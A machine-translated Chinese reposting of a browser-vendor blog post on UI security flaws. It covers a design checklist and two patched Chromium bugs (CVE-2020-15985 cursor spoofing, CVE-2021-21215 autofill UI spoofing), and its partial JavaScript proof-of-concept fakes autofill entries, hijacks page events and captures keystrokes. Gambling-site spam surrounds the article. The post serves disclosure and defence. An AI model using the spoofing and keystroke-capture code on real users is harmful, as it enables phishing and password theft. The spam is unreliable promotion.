新2最新网址(www.122381.com):深入考察与UI相关的平安破绽(上)

欧博app下载

欢迎进入欧博app下载网站:(www.aLLbetgame.us),欧博app下载网站是欧博官方网站。欧博app下载网站开放欧博注册、欧博 *** 、欧博电脑客户端、欧博app下载等业务。

,

在本文中,我们将与读者一道,深入考察浏览器中与UI相关的平安破绽。

简介

当涉及应用程序的用户界面(UI)时,人们体贴的往往是雅观、设计的一致性、简朴性和清晰性。然而,像浏览器这样的应用程序,不仅需要加载、剖析不受信托的内容,而且还需要提供响应的API来挪用种种UI,这时,该类应用程序就会晤临一个新的关注点:设计平安的UI。

多年来,浏览器的用户界面已经在 *** 钓鱼流动和手艺支持诈骗等攻击流动中被滥用。通常来说,这些攻击的目的并不是在受害者的机械上执行代码,而是获得受害者的信托并引诱(或吓唬)他们拨打一个号码。这类手艺通常被称为社会工程攻击,它们很难被完全缓解,由于任何不受信托的页面都可以随意显示任何图像。纵然云云,确保浏览器的用户界面不为此类攻击提供便利也是很主要的。正如我们将看到的,不平安的用户界面设计甚至会导致用户私人信息泄露,例如信用卡、密码和地址。除了这些逻辑上的平安问题之外,我们还将看到,像任何大型的C++项目一样,纵然在用户界面代码中也可能存在内存平安破绽。

在这篇文章中,我们首先为读者先容若何发现UI中的平安破绽,然后讨论一些已发现的UI平安破绽。

UI平安检查表

在评估一个给定的用户界面是否平安时,要问自己以下一组问题。通常需要通过以下多项检查,才气确定一个可滥用的用户界面平安破绽。

1. 是否笼罩可见视区(又称殒命线)?

a. 浏览器提醒(想想警报框、权限提醒等)应该总是允许跨过殒命线,以解释它们是正当的,而且来自于浏览器。这是为了确保用户界面无法被网页元素所冒充,由于网页无法(或不应该)使用 *** /HTML/CSS越过殒命线。



b. 另一方面,网页的用户界面(例如自动填充项、下拉选择器、颜色选择器等)不应该跨越殒命线。相反,我们应该确保它们只泛起在可见视区内。这是为了确保网页不能笼罩主要的浏览器UI(omnibox、shyUI和权限提醒)或使网页能够冒充浏览器UI。


向下转动一下,再次激活自动填充,我们将看到:


这种设计就不平安;准确的行为应该是这样的: 


注:另外,页面可以向上转动,然后显示自动填写的用户界面。

2. 是否包罗不受信托的内容?

若是用户界面中显示的文本或图像受到不受信托的外部泉源(通常是被接见的网页)的影响,那么用户界面应该清晰地解释这一区别,使得最终用户能够分辨出哪些内容是浏览器所展示的,哪些内容是网页所展示的。

例如,让我们来看看Javascript的提醒框。它是一个浏览器的提醒组件,出现的是网页提供的文本;在这里,还确保在最上面指出“example.tld says:”,从而让用户清晰地知道,该字符串之后的文原本自网站,而不是浏览器。此外,这些提醒框应该阻止在跨源frame内挪用,否则就有可能被用于诱骗用户。


上图中,所有红色的内容都是不能信托的。下面,我们划分举行先容:

· 标签页题目:从网页中提取的不能信的文本,需要举行响应的平安检查,如确保题目中没有换行操作从而导致文本显示在其预期的文本框之外。确保没有HTML被出现在这里。这也是渲染网站的favicon的地方,以是要确保图像被平安地渲染和显示,以便能够在任何图像处置的内存损坏的情形下,也不会影响浏览器的历程。

· 地址栏:任何浏览器的主要部门,所有用户都依赖它来知道他们在什么网站上。由于这个URL是从一个不受信托的泉源取得的,因此需要稀奇小心,以确保它能清晰地显示给最终用户。

· 警报的源:域名是不能信托的,应该举行一些平安检查,以确保域名是无害的。

· 警报文本:这是在浏览器用户界面上显示的文字,它来自不能信托的页面。这里应举行与(1)相同的检查。

· 网页内容:这是网页的内容;这里没有任何器械是可以信托的。

3. 当前焦点是否位于危险的按钮/选项上?

若是用户界面要求用户在差其余选项中做出选择,那么它应该总是将焦点默认放到最不危险的选项上。或者说,基本就不应该给任何器械以默认的焦点。例如,允许网页接见用户的地理位置的权限的提醒将显示两个选项:“Allow”和“Block”。若是在提醒泛起后立刻按回车键的话,那么,我们就会发现,将会选中“Block”选项。


否则,若是默认的焦点是在一个危险的选项上,攻击者就可以行使这一点来诱骗用户选中这一项。攻击者通常的手法是,先让用户按下回车键,然后再显示提醒内容。

这里就是一个这种类型的平安破绽,而且该破绽影响多种浏览器。

4. 能被多次挪用吗?

若是用户界面可以凭证网页的需求举行显示,那么应该确保它不能在短时间内重复显示。这是为了防止 *** 钓鱼页面重复挪用UI,使其以一种会疑惑或吓唬用户的方式泛起,在最坏的情形下,能够让用户陷入恶意页面中。

5. 能否在没有用户手势(user gesture)的情形下挪用?

有时,用户界面需要在没有用户手势的情形下泛起(出于人体工程学的思量);若是没有这种需要的话,更好只在用户明确发出鼠标/键盘/其他手势的情形下才允许其显示。此外,确保用户界面的显示基于用户的手势,也有助于削减任何进一步的滥用(如手势洗濯等技巧)。换句话说,每一个显示的用户界面都对应于一个手势。

若是发现这样一个易受攻击的用户界面,那么攻击者可以行使它来困住用户,阻止他们脱离网站。若是再加上(4),可能会导致整台机械都无法正常使用。

UI平安破绽

当涉及到未能通过(1.a)/(1.b)检查表的破绽时,通常是由于对可见视区的盘算错误所致。

在下面的可见视区中,具有一个红色边框:


向下转动时,可见视区也是云云。文档中不能见的部门绝对不应该被视为可见视区:


然则,我们正在处置的是具有接见CSS以及将frame嵌入其他文档的能力的Web内容。下面,让我们看第一个相关的例子。

CVE-2020-15985:绕过光标挟制缓解措施

现实上,鼠标光标也是一个UI,就像其他的UI一样,网页可以自动用一个自界说的图像来替换该光标。现实上,这一功效曾经被攻击者滥用,通过冒充真实的鼠标位置来诱骗用户。 

因此,相关厂商宣布了以下的更新:

“[弃用]对于尺寸大于32x32 DIP的自界说光标,由于能够横贯本机UI,以是将其禁用,并将于2019年6月左右,在M75中将其删除。更多细节,请接见https://www.chromestatus.com/features/5825971391299584”。

换句话说,若是一个网页用大于32x32的自界说图片取代光标,那么这个自界说图片就不能以诱骗用户的方式进入浏览器的内陆用户界面。一些像素被允许笼罩其他像素,但这些并不足以造成任何诱骗性的攻击。

然而,人们发现,当Chromium盘算什么是内陆浏览器用户界面与什么是可见的网页内容时,有可能通过让一个iframe托管一个取代光标的页面,然后使用CSS使该frame更先于主frame的可见视区之上来有用地绕过上面的缓解措施。

< iframe src="large-custom-cursor.html"
style="width:700px;height:1000px;position:absolute;top:-100px;left:-100px;" >

这个PoC使浏览器以为可见视区(红色)如下所示: 


举行需要的修改,以确保浏览器会思量顶层的frame的可见视区。这个破绽是之前讨论的检查表中的一个例子(1.b)。

与自动填充UI相关的平安破绽

读者可能已经注重到并在某些时刻用过的一个功效是自动填充功效。假设你在“A”网站注册了一个账户,并提供了一些基本信息,如用户名和密码。之后,当您去登录B站时,从A站输入的同样的用户名会作为自动填写的建议而泛起。

CVE-2021-21215:伪造浏览器用户界面

自动填充建议的用户界面不应该笼罩浏览器的用户界面,这一点在前面的检查表(1.b)中已经讲过。然而,事实证实,攻击者简直能够让它显示在浏览器原生UI之上,并笼罩浏览器的主要部门。但仅仅这一点自己而言,并不是一个伟大的平安问题。

从攻击者的角度来看,要想滥用自动填充用户界面,需要解决下面几个问题:

1.只显示以条件交的表单中保留的条目。

2.当用户与浏览器或网页举行交互时消逝。

3.只在用户与表单/输入元素互动时泛起。

我们可以通过简朴地要求用户点击恶意网页上的任何位置来解决问题(3)。另外,输入元素可以是透明的,并笼罩整个页面。这样,在页面上的任何点击都将激活显示自动填充下拉UI的机制。

qf.style="opacity:1";
qa.style="width:100%;height:1000px;display:block;position:absolute;";

对于问题(1)来说,解决起来出奇的简朴:只需要借助于一个带有假表单的iframe,让它使用Javascript来填充自己,然后执行formElement.submit()提交到随机的URL即可。这样,我们就可以自若地控制下拉式自动填充建议UI中显示的内容。

function createAutofillEntry(str) {
    let aframe = document.createElement("iframe");
    aframe.src = ",faker";
    aframe.style = "width:2px;height:3px;opacity:0.1";
    aframe["data-id"] = msgs;
    iframes[msgs] = false;
    msgs += 1;
 
    document.body.appendChild(aframe);
 
    aframe.onload = (e) = > {
        if (e.target.contentWindow.location.search.length < = 10) {
            e.target.contentWindow.eval(`
          qb.value="pass1223"
 
          var thing="${str}";
 
          var i=0;
          var ger=0;
            ger=setInterval(g= >{
            qa.value+=thing[i];
            i++;
            if(thing.length==i){
              window.clearInterval(ger);
              qf.submit()
            }
          },20)
        `);
        } else {
            iframes[e.target["data-id"]] = true;
        }
    };
}

问题(2)是三个问题中最庞大的一个,为了战胜这个问题,我们需要完成下面的两个义务: 

1.用一个事宜处置函数填充所有顶部窗口事宜,使焦点保持在输入元素上并返回false,以确保事宜被作废。

2.当自动填充下拉菜单显示时,我们将input[type]=text切换为input[type]=button,由于按钮无法获得自动填充建议,这将使浏览器无所适从,致使建议菜单连续存在。 

setTimeout((g) = > {
    qa.type = "button";
}, 100);
 
for (q in this) {
    if (q.indexOf("on") == 0) {
        this[q] = (e) = > {
            if (e.type == "keydown") {
                qtext.value += e.key;
            }
            qa.focus();
            qa.click();
            return false;
        };
    }
}

将上面的代码综合起来,就获得最终的PoC,其效果如下所示:

演示视频:https://youtu.be/GJiwBrAAuEQ

原始PoC的可以从这里找到。

在Edge浏览器上,这看起来不那么令人信服,由于它的自动填充UI清晰地解释晰它的目的是什么(类似于警报框)。然而,这仍然是值得解决的问题。

 

因此,行使自动填写功效中的一连串细小的UI错误,我们就能够创自己的内陆浏览器UI,并显示我们指定的随便信息。这里的PoC还解释,若是用户受骗并输入密码,那么,攻击者还可以提取键盘数据。

然则,等等,另有更多问题!

小结

在本文中,我们将与读者一道,深入考察浏览器中与UI相关的平安破绽。由于篇幅较长,以是分为上下两篇揭晓,更多精彩内容,敬请期待!

本文翻译自:https://microsoftedge.github.io/edgevr/posts/ui-security-thinking-outside-the-viewport/

新2最新网址

www.122381.com)实时更新发布最新最快最有效的新2网址和新2最新网址,包括新2手机网址,新2备用网址,皇冠最新网址,新2足球网址,新2网址大全。

  • 评论列表:
  •  环球ug代理(www.ugbet.us)
     发布于 2021-10-03 00:01:48  回复
  • 澳5官网www.a55555.net)是澳洲幸运5彩票官方网站,开放澳洲幸运5彩票会员开户、澳洲幸运5彩票代理开户、澳洲幸运5彩票线上投注、澳洲幸运5实时开奖等服务的平台。
    接下来发生啥呢

添加回复:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。